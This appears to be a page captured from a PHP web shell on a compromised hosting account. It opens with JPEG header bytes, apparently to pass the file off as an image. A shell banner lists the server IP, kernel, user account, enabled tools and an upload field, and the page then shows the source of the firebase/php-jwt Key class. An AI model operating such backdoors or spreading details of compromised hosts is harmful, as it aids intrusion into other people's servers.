ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.78 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/public_html/vendor/firebase/php-jwt/src/ |
Upload File : |
<?php namespace Firebase\JWT; use InvalidArgumentException; use OpenSSLAsymmetricKey; class Key { /** @var string $algorithm */ private $algorithm; /** @var string|resource|OpenSSLAsymmetricKey $keyMaterial */ private $keyMaterial; /** * @param string|resource|OpenSSLAsymmetricKey $keyMaterial * @param string $algorithm */ public function __construct($keyMaterial, $algorithm) { if ( !is_string($keyMaterial) && !is_resource($keyMaterial) && !$keyMaterial instanceof OpenSSLAsymmetricKey ) { throw new InvalidArgumentException('Type error: $keyMaterial must be a string, resource, or OpenSSLAsymmetricKey'); } if (empty($keyMaterial)) { throw new InvalidArgumentException('Type error: $keyMaterial must not be empty'); } if (!is_string($algorithm)|| empty($keyMaterial)) { throw new InvalidArgumentException('Type error: $algorithm must be a string'); } $this->keyMaterial = $keyMaterial; $this->algorithm = $algorithm; } /** * Return the algorithm valid for this key * * @return string */ public function getAlgorithm() { return $this->algorithm; } /** * @return string|resource|OpenSSLAsymmetricKey */ public function getKeyMaterial() { return $this->keyMaterial; } }